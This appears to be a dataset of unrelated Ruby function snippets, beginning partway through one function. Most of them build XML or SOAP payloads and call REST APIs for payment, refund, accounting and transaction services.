xml['ns11'].CampaignId('xmlns:ns11' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns12'].Reference('xmlns:ns12' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text('xyt')\n xml['ns1'].AccountType 'NotSet'\n xml['ns1'].ApprovalCode('i:nil' =>\"true\")\n xml['ns1'].CashBackAmount '0.0'\n xml['ns1'].CustomerPresent 'Present'\n xml['ns1'].EmployeeId '11'\n xml['ns1'].EntryMode params[:EntryMode]\n xml['ns1'].GoodsType 'NotSet'\n xml['ns1'].IndustryType params[:IndustryType]\n xml['ns1'].InternetTransactionData('i:nil' =>\"true\")\n xml['ns1'].InvoiceNumber params[:InvoiceNumber]\n xml['ns1'].OrderNumber params[:OrderNumber]\n xml['ns1'].IsPartialShipment 'false'\n xml['ns1'].SignatureCaptured 'false'\n xml['ns1'].FeeAmount '0.0'\n xml['ns1'].TerminalId('i:nil' =>\"true\")\n xml['ns1'].LaneId('i:nil' =>\"true\")\n xml['ns1'].TipAmount '0.0'\n xml['ns1'].BatchAssignment('i:nil' =>\"true\")\n xml['ns1'].PartialApprovalCapable 'NotSet'\n xml['ns1'].ScoreThreshold('i:nil' =>\"true\")\n xml['ns1'].IsQuasiCash 'false' \n }\n }\n } \n end.to_xml \n rescue Exception => ex\n return \"Some value not set in xml for authorizeXML!\"\n end\n end", "def create_by_api(params = {})\n create_by_translator params_to_translator(params)\n end", "def transaction_id\n\tparams['txn_id']\n end", "def initialize(params)\n @result = params[:result]\n @user_id = params[:userid]\n @post = build_xml( params[:result] )\n end", "def payout_transaction_with_http_info(transaction_id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: TransactionsApi.payout_transaction ...'\n end\n # verify the required parameter 'transaction_id' is set\n if @api_client.config.client_side_validation && transaction_id.nil?\n fail ArgumentError, \"Missing the required parameter 'transaction_id' when calling TransactionsApi.payout_transaction\"\n end\n # resource path\n local_var_path = '/transactions/{Transaction ID}/payout'.sub('{' + 'Transaction ID' + '}', transaction_id.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['AuthorizationKey', 'AuthorizationNonce', 'AuthorizationSecret', 'AuthorizationSignature']\n data, status_code, headers = @api_client.call_api(:POST, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'TransactionResponse')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: TransactionsApi#payout_transaction\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def _create_xml(method_name, isExtApi, data = [])\n raise \"Invalid data! Needs to be an array\" if isExtApi && !data.is_a?(Array)\n\n output = \"\"\n xml = Builder::XmlMarkup.new(:target => output, :indent => 1)\n xml.instruct!\n xml.methodCall {\n xml.methodName isExtApi ? \"extapi.callWpMethod\" : method_name\n xml.params {\n xml.param {\n xml.value {\n xml.string @rpc_admin\n }\n }\n xml.param {\n xml.value {\n xml.string @rpc_password\n }\n }\n if isExtApi\n xml.param {\n xml.value {\n xml.string method_name\n }\n }\n end\n xml.param {\n xml.value {\n if isExtApi\n xml.array {\n xml.data {\n data.each do |param|\n if param.is_a? Hash\n xml.value {\n _create_key_value_xml_struct(output, param)\n }\n else\n _create_value_xml_struct(output, param)\n end\n end\n }\n }\n else\n _create_key_value_xml_struct(output, data)\n end\n }\n }\n }\n }\n return output\n end", "def create_refund_request_xml(merchantCode, orderCode, currencyCode, amount)\n xml = \"<?xml version=\\\"1.0\\\"?>\\n\"\n xml << \"<!DOCTYPE paymentService PUBLIC '-//WorldPay/DTD WorldPay PaymentService v1/EN' 'http://dtd.worldpay.com/paymentService_v1.dtd'>\\n\"\n xml << \"<paymentService version=\\\"1.4\\\" merchantCode=\\\"\" + merchantCode + \"\\\">\\n\"\n xml << \"<modify>\\n\"\n xml << \"<orderModification orderCode=\\\"\" + orderCode + \"\\\">\\n\"\n xml << \"<refund>\\n\"\n xml << \"<amount value=\\\"\"+ amount.to_s + \"\\\" currencyCode=\\\"\" + currencyCode + \"\\\" exponent=\\\"2\\\"/>\"\n xml << \"</refund>\\n\"\n xml << \"</orderModification>\\n\"\n xml << \"</modify>\\n\"\n xml << \"</paymentService>\\n\"\n xml\n end", "def parameterdetails(parameter_id)\n\n url= \"#{@base_url}/#{@tool}/parameterdetails/#{URI.encode(parameter_id)}\"\n uri = URI.parse(url)\n resp = Net::HTTP.get_response(uri)\n\n paramdetails = XmlSimple.xml_in(resp.body)\n\n return paramdetails\n\n end", "def transactions_get_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: DefaultApi.transactions_get ...'\n end\n # resource path\n local_var_path = '/api/v1/transactions'\n\n # query parameters\n query_params = opts[:query_params] || {}\n query_params[:'addrs'] = opts[:'addrs'] if !opts[:'addrs'].nil?\n query_params[:'confirmed'] = opts[:'confirmed'] if !opts[:'confirmed'].nil?\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json', 'application/xml', ])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:body] \n\n # return_type\n return_type = opts[:return_type] || 'Object' \n\n # auth_names\n auth_names = opts[:auth_names] || []\n\n new_options = opts.merge(\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: DefaultApi#transactions_get\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def to_xml\n doc = REXML::Document.new\n doc << REXML::XMLDecl.default\n doc.add_element(\"envelope\")\n p = doc.root.add_element(\"params\", { \"index\" => \"1\" })\n unless receivers.empty?\n to_elt = p.add_element(\"to\")\n receivers.each do |aid|\n agent_identifier_to_xml(to_elt, aid)\n end\n end\n unless sender.nil?\n from_elt = p.add_element(\"from\")\n agent_identifier_to_xml(from_elt, sender)\n end\n unless comments.nil?\n elt = p.add_element(\"comments\")\n elt.text = comments\n end\n unless acl_representation.nil?\n elt = p.add_element(\"acl-representation\")\n elt.text = acl_representation\n end\n unless payload_length.nil?\n elt = p.add_element(\"payload-length\")\n elt.text = payload_length\n end\n unless payload_encoding.nil?\n elt = p.add_element(\"payload-encoding\")\n elt.text = payload_encoding\n end\n unless date.nil?\n elt = p.add_element(\"date\")\n elt.text = date.iso8601\n end\n unless encrypted.nil?\n elt = p.add_element(\"encrypted\")\n elt.text = encrypted\n end\n unless intended_receivers.empty?\n elt = p.add_element(\"intended-receiver\")\n intended_receivers.each do |r|\n agent_identifier_to_xml(elt, r)\n end\n end\n unless received.nil?\n received_elt = p.add_element(\"received\")\n received_by_elt = received_elt.add_element(\"received-by\")\n url_elt = received_by_elt.add_element(\"url\")\n url_elt.text = received.by\n unless received.from.nil?\n received_from_elt = received_elt.add_element(\"received-from\")\n url_elt = received_from_elt.add_element(\"url\")\n url_elt.text = received.from\n end\n received_elt.add_element(\"received-date\", { \"value\" => received.date })\n unless received.id.nil?\n received_elt.add_element(\"received-id\", { \"value\" => received.id})\n end\n unless received.via.nil?\n received_elt.add_element(\"received-via\", { \"value\" => received.via})\n end\n end\n doc\n end", "def build_result(action)\n xml = ''\n doc = Builder::XmlMarkup.new(:target => xml)\n doc.tag!(\"#{action}Response\", :xmlns => \"http://sdb.amazonaws.com/doc/2007-11-07\") do\n if block_given?\n yield doc\n end\n \n doc.ResponseMetadata do\n doc.RequestId \"1234\"\n doc.BoxUsage \"0\"\n end\n end\n \n xml\n end", "def to_xml\n\t\tend", "def to_xml\n\t\tend", "def generate_xml( args={} )\n biomart_xml = \"\"\n xml = Builder::XmlMarkup.new( :target => biomart_xml, :indent => 2 )\n \n xml.instruct!\n xml.declare!( :DOCTYPE, :Query )\n xml.Query( :virtualSchemaName => \"default\", :formatter => \"TSV\", :header => \"0\", :uniqueRows => \"1\", :count => args[:count], :datasetConfigVersion => \"0.6\" ) {\n xml.Dataset( :name => @name, :interface => \"default\" ) {\n \n if args[:filters]\n args[:filters].each do |name,value|\n if value.is_a? Array\n value = value.join(\",\")\n end\n xml.Filter( :name => name, :value => value )\n end\n else\n self.filters.each do |name,filter|\n if filter.default\n xml.Filter( :name => name, :value => filter.default_value )\n end\n end\n end\n \n unless args[:count]\n if args[:attributes]\n args[:attributes].each do |name|\n xml.Attribute( :name => name )\n end\n else\n self.attributes.each do |name,attribute|\n if attribute.default\n xml.Attribute( :name => name )\n end\n end\n end\n end\n \n }\n }\n \n return biomart_xml\n end", "def to_xml()\n XmlSimple.xml_out( { :address => self.to_hash() }, { :KeepRoot=>true, :NoAttr=>true } )\n end", "def soap_call(name, method, params = {})\n begin\n result = @service.request(name) do |soap|\n # soap.action = \"KashFlow/#{method}\"\n\n params = params.pop if params.is_a?(Array)\n params_xml = Gyoku.xml(params, { key_converter: :camelcase }) if params.present?\n\n params_xml = params_xml.gsub(/Id>/,\"ID>\") if params_xml\n params_xml = params_xml.gsub(/Dbid>/,\"DBID>\") if params_xml\n params_xml = params_xml.gsub(/<InvoiceLine>/, \"<InvoiceLine xsi:type=\\\"InvoiceLine\\\">\") if params_xml\n pretext, posttext = object_wrapper(name, params_xml)\n\n soap.xml = %[<?xml version=\"1.0\" encoding=\"utf-8\"?>\n <soap:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\">\n <soap:Body>\n <#{method} xmlns=\"KashFlow\">\n <UserName>#{@login}</UserName>\n <Password>#{@password}</Password>\n #{pretext}\n #{params_xml}\n #{posttext}\n </#{method}>\n </soap:Body>\n </soap:Envelope>]\n end.to_hash\n rescue Savon::SOAP::Fault => e\n puts \"soap fault:\" + e.inspect\n return false\n end\n end", "def notice_xml\n render xml: {\n notice: {\n id: (@results.first[:hash] rescue nil)\n }\n }\n end", "def authorizeAndCaptureXML(params)\n begin\n Nokogiri::XML::Builder.new do |xml|\n xml.AuthorizeAndCaptureTransaction('xmlns:i' => 'http://www.w3.org/2001/XMLSchema-instance', \n 'xmlns' => 'http://schemas.ipcommerce.com/CWS/v2.0/Transactions/Rest',\n 'i:type' =>\"AuthorizeAndCaptureTransaction\" ) {\n xml.ApplicationProfileId application_profile_id\n xml.MerchantProfileId merchant_profile_id \n xml.Transaction('xmlns:ns1' => \"http://schemas.ipcommerce.com/CWS/v2.0/Transactions/Bankcard\", \n 'i:type' => \"ns1:BankcardTransaction\" ){\n xml['ns1'].TenderData{\n if params[:SwipeStatus].present? && params[:IdentificationInformation].present? && params[:SecurePaymentAccountData].present? && params[:EncryptionKeyId].present?\n #p \"Swipe card..maga...\"\n xml['ns5'].SecurePaymentAccountData('xmlns:ns5' =>\n \"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:SecurePaymentAccountData])\n xml['ns6'].EncryptionKeyId('xmlns:ns6' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:EncryptionKeyId])\n xml['ns7'].SwipeStatus('xmlns:ns7' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:SwipeStatus])\n xml['ns1'].CardSecurityData{\n xml['ns1'].IdentificationInformation params[:IdentificationInformation]\n }\n xml['ns1'].CardData('i:nil' =>\"true\")\n elsif params[:SecurePaymentAccountData].present? && params[:EncryptionKeyId].present? \n #p \"Swipe card..Dukp...\"\n xml['ns5'].SecurePaymentAccountData('xmlns:ns5' =>\n \"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:SecurePaymentAccountData])\n xml['ns6'].EncryptionKeyId('xmlns:ns6' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:EncryptionKeyId])\n xml['ns7'].SwipeStatus('xmlns:ns7' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\") \n xml['ns1'].CardSecurityData{\n xml['ns1'].IdentificationInformation('i:nil' =>\"true\")\n }\n xml['ns1'].CardData('i:nil' =>\"true\")\n xml['ns1'].EcommerceSecurityData('i:nil' =>\"true\") \n elsif params[:PaymentAccountDataToken].present?\n #p \"PaymentAccountDataToken...........\"\n xml['ns4'].PaymentAccountDataToken('xmlns:ns4' =>\n \"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:PaymentAccountDataToken])\n xml['ns5'].SecurePaymentAccountData('xmlns:ns5' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns6'].EncryptionKeyId('xmlns:ns6' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns7'].SwipeStatus('xmlns:ns7' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\") \n xml['ns1'].CardData('i:nil' =>\"true\")\n xml['ns1'].EcommerceSecurityData('i:nil' =>\"true\") \n else \n #p \"without token....\"\n xml['ns4'].PaymentAccountDataToken('xmlns:ns4' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\", 'i:nil' =>\"true\")\n xml['ns5'].SecurePaymentAccountData('xmlns:ns5' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns6'].EncryptionKeyId('xmlns:ns6' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns7'].SwipeStatus('xmlns:ns7' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns1'].CardData{\n xml['ns1'].CardType params[:CardType] \n if params[:Track2Data].present?\n xml['ns1'].Track2Data params[:Track2Data]\n xml['ns1'].PAN('i:nil' =>\"true\") \n xml['ns1'].Expire('i:nil' =>\"true\")\n xml['ns1'].Track1Data('i:nil' =>\"true\")\n elsif params[:Track1Data].present?\n xml['ns1'].Track1Data params[:Track1Data]\n xml['ns1'].PAN('i:nil' =>\"true\") \n xml['ns1'].Expire('i:nil' =>\"true\")\n xml['ns1'].Track2Data('i:nil' =>\"true\")\n else\n xml['ns1'].PAN params[:PAN] \n xml['ns1'].Expire params[:Expire]\n xml['ns1'].Track1Data('i:nil' =>\"true\")\n xml['ns1'].Track2Data('i:nil' =>\"true\")\n end\n }\n xml['ns1'].EcommerceSecurityData('i:nil' =>\"true\") \n end\n }\n xml['ns2'].CustomerData('xmlns:ns2' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\"){\n xml['ns2'].BillingData{\n xml['ns2'].Name('i:nil' =>\"true\")\n xml['ns2'].Address{\n xml['ns2'].Street1 params[:Street1] \n xml['ns2'].Street2('i:nil' =>\"true\")\n xml['ns2'].City params[:City] \n xml['ns2'].StateProvince params[:StateProvince]\n xml['ns2'].PostalCode params[:PostalCode]\n xml['ns2'].CountryCode params[:CountryCode]\n }\n xml['ns2'].BusinessName 'MomCorp'\n xml['ns2'].Phone params[:Phone]\n xml['ns2'].Fax('i:nil' =>\"true\")\n xml['ns2'].Email params[:Email]\n }\n xml['ns2'].CustomerId 'cust123'\n xml['ns2'].CustomerTaxId('i:nil' =>\"true\")\n xml['ns2'].ShippingData('i:nil' =>\"true\")\n }\n xml['ns3'].ReportingData('xmlns:ns3' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\"){\n xml['ns3'].Comment 'a test comment'\n xml['ns3'].Description 'a test description'\n xml['ns3'].Reference '001'\n }\n xml['ns1'].TransactionData{\n if params[:Amount] != ''\n xml['ns8'].Amount('xmlns:ns8' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:Amount])\n else\n xml['ns8'].Amount('xmlns:ns8' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text('0.00')\n end\n #xml['ns8'].Amount('xmlns:ns8' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:Amount])\n xml['ns9'].CurrencyCode('xmlns:ns9' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text('USD') \n xml['ns10'].TransactionDateTime('xmlns:ns10' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text('2013-04-03T13:50:16')\n xml['ns11'].CampaignId('xmlns:ns11' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns12'].Reference('xmlns:ns12' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text('xyt')\n xml['ns1'].AccountType 'NotSet'\n xml['ns1'].ApprovalCode('i:nil' =>\"true\")\n xml['ns1'].CashBackAmount '0.0'\n xml['ns1'].CustomerPresent 'Present'\n xml['ns1'].EmployeeId '11'\n xml['ns1'].EntryMode params[:EntryMode]\n xml['ns1'].GoodsType 'NotSet'\n xml['ns1'].IndustryType params[:IndustryType]\n xml['ns1'].InternetTransactionData('i:nil' =>\"true\")\n xml['ns1'].InvoiceNumber params[:InvoiceNumber]\n xml['ns1'].OrderNumber params[:OrderNumber]\n xml['ns1'].IsPartialShipment 'false'\n xml['ns1'].SignatureCaptured 'false'\n xml['ns1'].FeeAmount '0.0'\n xml['ns1'].TerminalId('i:nil' =>\"true\")\n xml['ns1'].LaneId('i:nil' =>\"true\")\n xml['ns1'].TipAmount '0.0'\n xml['ns1'].BatchAssignment('i:nil' =>\"true\")\n xml['ns1'].PartialApprovalCapable 'NotSet'\n xml['ns1'].ScoreThreshold('i:nil' =>\"true\")\n xml['ns1'].IsQuasiCash 'false'\n }\n }\n } \n end.to_xml \n rescue Exception => ex\n return \"Some value not set in xml for authorizeAndCaptureXML!\"\n end\n end", "def preservation_xml\n descriptive_metadata = metadata_source.find_by(source_type: 'descriptive').user_defined_mappings\n structural_metadata = metadata_source.find_by(source_type: 'structural').user_defined_mappings\n\n Nokogiri::XML::Builder.new(encoding: 'UTF-8') { |xml|\n xml.root {\n xml.record {\n xml.uuid { xml.text repo.unique_identifier }\n\n descriptive_metadata.each do |field, values|\n values.each { |value| xml.send(field + '_', value) }\n end\n\n xml.pages {\n structural_metadata['sequence'].map do |asset|\n xml.page {\n asset.map do |field, value|\n Array.wrap(value).each { |v| xml.send(field + '_', v) }\n end\n }\n end\n }\n }\n }\n }.to_xml\n end", "def get_transaction(id)\n submit GetTransaction.new(:transaction_id => id)\n end", "def captureAllXML()\n begin\n Nokogiri::XML::Builder.new do |xml|\n xml.CaptureAll('xmlns:i' => 'http://www.w3.org/2001/XMLSchema-instance', \n 'xmlns' => 'http://schemas.ipcommerce.com/CWS/v2.0/Transactions/Rest', 'i:type' =>\"CaptureAll\" ) {\n xml.ApplicationProfileId application_profile_id\n xml.MerchantProfileId merchant_profile_id\n xml.BatchIds('xmlns:d2p1' => 'http://schemas.microsoft.com/2003/10/Serialization/Arrays', 'i:nil'=> \"true\")\n xml.DifferenceData('xmlns:d2p1' => 'http://schemas.ipcommerce.com/CWS/v2.0/Transactions','i:nil'=> \"true\")\n } \n end.to_xml \n rescue Exception => ex\n return \"Some value not set in xml for captureAllXML!\"\n end \n end", "def filter(params)\n unless @xml_data\n return 'ERR: filter method only works with xml-based output!'\n\n end\n\n result = Array.new\n begin\n if @xml_data\n\n if params[:given]\n found = @xml_data.xpath(\"//#{params[:given][:entity]}[contains(text(), #{params[:given][:value].inspect})]\")\n if found.size > 0\n @xml_data.xpath(\"//#{params[:entity]}[contains(text(), #{params[:value].inspect})]\").each do |node|\n result << create_response_item(node)\n end\n end\n else # no conditional\n @xml_data.xpath(\"//#{params[:entity]}[contains(text(), #{params[:value].inspect})]\").each do |node|\n result << create_response_item(node)\n end\n end\n\n return result\n else # no xml data\n return 'ERR: no valid xml data!'\n\n end #if\n\n rescue Exception=>e\n return \"ERR: #filter: #{e}\"\n\n end\n\n return result\n\n end", "def sale(amount, trans_id='')\n @PARAM_HASH['TRANSACTION_TYPE'] = 'SALE'\n @PARAM_HASH['AMOUNT'] = amount\n @PARAM_HASH['RRNO'] = trans_id\n end", "def to_xml\n\t\t\ttext = \"\"\n\t\t\t@response.write(text, 1)\n\t\t\treturn text\n\t\tend", "def get_settled_transaction_report(params = {})\r\n @PARAM_HASH[\"QUERY_BY_SETTLEMENT\"] = '1'\r\n @PARAM_HASH[\"REPORT_START_DATE\"] = params[:report_start_date]\r\n @PARAM_HASH[\"REPORT_END_DATE\"] = params[:report_end_date]\r\n @PARAM_HASH[\"QUERY_BY_HIERARCHY\"] = params[:query_by_hierarchy]\r\n @PARAM_HASH[\"DO_NOT_ESCAPE\"] = params[:do_not_escape] || ''\r\n @PARAM_HASH[\"EXCLUDE_ERRORS\"] = params[:exclude_errors] || ''\r\n @api = \"bpdailyreport2\"\r\n end", "def get_settled_transaction_report(params = {})\r\n @PARAM_HASH[\"QUERY_BY_SETTLEMENT\"] = '1'\r\n @PARAM_HASH[\"REPORT_START_DATE\"] = params[:report_start_date]\r\n @PARAM_HASH[\"REPORT_END_DATE\"] = params[:report_end_date]\r\n @PARAM_HASH[\"QUERY_BY_HIERARCHY\"] = params[:query_by_hierarchy]\r\n @PARAM_HASH[\"DO_NOT_ESCAPE\"] = params[:do_not_escape] || ''\r\n @PARAM_HASH[\"EXCLUDE_ERRORS\"] = params[:exclude_errors] || ''\r\n @api = \"bpdailyreport2\"\r\n end", "def rpc_response(value)\n render inline: \"xml.instruct! :xml, :version=>'1.0' \\n xml.methodResponse { xml.params { xml.param { #{value} }}}\", type: :builder, content_type: \"text/xml\"\n end", "def to_xml\n\t\t\t\"<#{@name} #{attributes_string} />\"\n\t\tend", "def toxml\n\t\tend", "def get(id, params={})\n response = Shippo.request(:get, \"#{url}/#{CGI.escape(id)}/\", params)\n self.construct_from(response)\n end", "def tran_xml(xml, index, job, batch, transaction_set_count) \n if !payer.blank? && !payer.status.blank? && (!payer.gateway.blank? || !payer.gateway_temp.blank?)\n gateway = payer.status.upcase == 'MAPPED' ? payer.gateway : (payer.gateway_temp || 'HLSC')\n payid = payer.payer_identifier(micr_line_information)\n footnote_indicator = (payer.footnote_indicator ? 1 : 0)\n else raise 'Invalid Payer'\n puts \"Payer record for check number #{check_number} is incomplete or invalid\"\n log.error \"Payer record for check number #{check_number} is incomplete or invalid\"\n end\n\n payee_name ||= batch.facility.name.to_s.strip\n xml.tran(:ID => index + 1) do\n xml.tag!(:batch_attrib, 1)\n xml.tag!(:gateway, gateway)\n xml.tag!(:pay_id, payid)\n xml.tag!(:payee_nm, (payee_name.slice(0, 25) if !payee_name.blank?))\n xml.tag!(:aba_num, (micr_line_information.aba_routing_number if micr_line_information))\n xml.tag!(:chk_act, (micr_line_information.payer_account_number if micr_line_information))\n xml.tag!(:chk_num, check_number)\n xml.tag!(:chk_amt, sprintf('%.02f', check_amount.to_f))\n xml.tag!(:eob_id, (index + 1))\n xml.tag!(:tid, job.transaction_number)\n xml.tag!(:rework, '0')\n xml.tag!(:payer_footnote_based, (footnote_indicator || 0))\n xml.tag!(:worklist_status_cd, '')\n xml.tag!(:transaction_receipt_dt, (batch.date.strftime(\"%Y-%m-%d\") unless batch.date.blank?))\n xml.tag!(:hlsc_file_nm, batch.src_file_name)\n xml.tag!(:show_on_worklist, '0')\n xml.tag!(:transaction_guid, guid)\n end\n transaction_set_count += 1\n end", "def get_transaction_with_http_info(id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: PaymentsTransactionsApi.get_transaction ...\"\n end\n # verify the required parameter 'id' is set\n if @api_client.config.client_side_validation && id.nil?\n fail ArgumentError, \"Missing the required parameter 'id' when calling PaymentsTransactionsApi.get_transaction\"\n end\n # resource path\n local_var_path = \"/transactions/{id}\".sub('{' + 'id' + '}', id.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['oauth2_client_credentials_grant', 'oauth2_password_grant']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'TransactionResource')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: PaymentsTransactionsApi#get_transaction\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def create_bill(params)\n build_header_auth('/bills', API_VERSION_1, 'POST')\n build_request()\n p_hash = {}\n p_hash[\"bill\"] = {\"identifier\" => params['id'],\n \"amount_cents\" => params['amount_cents'],\n \"bill_template_id\" => params['bill_template_id'],\n \"memo\" => params['memo'],\n \"content\" => params['content'],\n \"recurring\" => params['recurring'],\n \"customer_id\" => params['customer_id'],\n \"date\" => params['date']}\n req_body = p_hash.to_json.to_s\n request = Net::HTTP::Post.new(@uri.request_uri)\n @header.each do |name, value|\n request[name] = value\n end\n # request.each do |name, value|\n # puts name+\" : \"+value\n # end\n request.set_body_internal(req_body)\n response = @http.request(request)\n # response.body = JSON.parse(response.body)\n return response\n end", "def op_send_request_xml(params)\n return '' unless valid?\n\n # update the ticket with the metadata sent at the first request for XML (i.e. if not blank)\n @ticket.update!(\n hpc_response: (@ticket.hpc_response || params[:hcpresponse]),\n company_file_name: (@ticket.company_file_name || params[:company]),\n country: (@ticket.country || params[:country]),\n qbxml_major_version: (@ticket.qbxml_major_version || params[:major_ver]),\n qbxml_minor_version: (@ticket.qbxml_minor_version || params[:minor_ver])\n )\n\n # only process when in the Authenticated or Processing states\n unless ['Authenticated', 'Processing'].include?(@ticket.state)\n @ticket.request_error!(@last_log_message)\n return ''\n end\n\n # either grab the current request or create a new one\n request = @ticket.qb_request\n unless request\n request = create_request\n @ticket.qb_request = request\n end\n\n # if we don't have a request, then we are done.\n unless request\n log \"There is no more work to be done. Marking ticket state as finished\"\n @ticket.update!(state: 'Finished')\n return ''\n end\n\n request.update!(qb_ticket: @ticket, request_sent_at: Time.zone.now)\n qb_xml = request.to_qb_xml\n request.update!(request_qbxml: qb_xml)\n\n # set the ticket into a Processing state\n @ticket.state = 'Processing'\n\n # save the changes.\n @ticket.save!\n\n log \"Sending request [#{request.state}] XML to QuickBooks\"\n\n qb_xml\n end", "def to_xml(opts = {})\n mapper.to_xml(self, opts)\n end", "def create(xml)\n \t check_login\n \t\tresponse = @client.request :create do\n \t soap.header = { \"SessionHeader\" => { \"session\" => \"#{self.session}\" }}\n \t soap.body = xml\n \tend\n \tif response.success?\n \t\t return response.to_hash[:create_response][:result][:id]\n \t \telse \n \t \t return false\n \t \tend\n end", "def to_xml(parent=nil, persp=:default, id=:default)\n ret = Nokogiri::XML::Builder.new({}, parent) do |xml|\n xml.send(xml_element,{:xmlns => ns(persp)}, :path => File.join('',path(id))) do\n serialized_pairs(persp).each do |name, val|\n case val\n when Welo::Embedder\n val.to.to_xml(xml.parent, persp).to_xml\n when Welo::EmbeddersEnumerator\n xml.send(val.label) do\n val.each do |embedder|\n embedder.to.to_xml(xml.parent, persp).to_xml\n end\n end\n else\n xml.send(name, val)\n end\n end\n end\n end\n ret\n end", "def user_not_found_response(tnx_id)\n xml = Builder::XmlMarkup.new\n xml.instruct!(:xml, :version => \"1.0\")\n render :xml => xml.response {\n xml.osmp_txn_id(tnx_id)\n xml.result(5)\n xml.comment(\"The subscribers ID is not found (Wrong number)\")\n }\n end", "def xml(*args)\n attrs = { :version => '1.0' }\n attrs.merge!(args.pop) if args.last.respond_to?(:fetch) \n args.push(lambda{|*x| yield(*x) }) if block_given?\n new(\"<?xml\", attrs, \" ?>\\n\", *args)\n end", "def route_xml(route_id, query_params = nil)\n get(\"/routes/#{route_id}/xml\", query_params)\n end", "def to_xml\n a = REXML::Element.new(\"property\")\n a.add_attribute(\"id\", name)\n a.add_element(\"name\").text = name\n if (parameter)\n a.add_element(\"parameter\").text = parameter\n end\n if (description)\n a.add_element(\"description\").text = description\n end\n if (@options)\n p @options\n @options.each {|name, value|\n a.add_element(name.to_s).text = value.to_s\n }\n end\n return a\n end", "def build_response!\n Accounts::TransactionsSerializer.new(account_model!, scope: transactions_count)\n end", "def to_xml\n render_xml\n end", "def make_url(method, params)\n params[:key] = @key\n params[:output] = 'xml'\n\n super method, params\n end", "def gettransaction(txid)\n request :gettransaction, txid\n end", "def create\n response = Books::Return.call(params: params)\n\n if response.success?\n render json: response.rent, status: :created\n else\n render json: response.error, status: :unprocessable_entity\n end\n end", "def xml \n obj = {}\n expOb = Experiment.where('experimentName' => params[:experimentName]).to_a[0]\n obj['gameName'] = expOb['gameName']\n obj['sequences'] = expOb['sequences']\n obj['experimentName'] = expOb['experimentName']\n render :xml => \"<hash>\"+create_xml(obj, '')+\"</hash>\\n\"\n end" ]
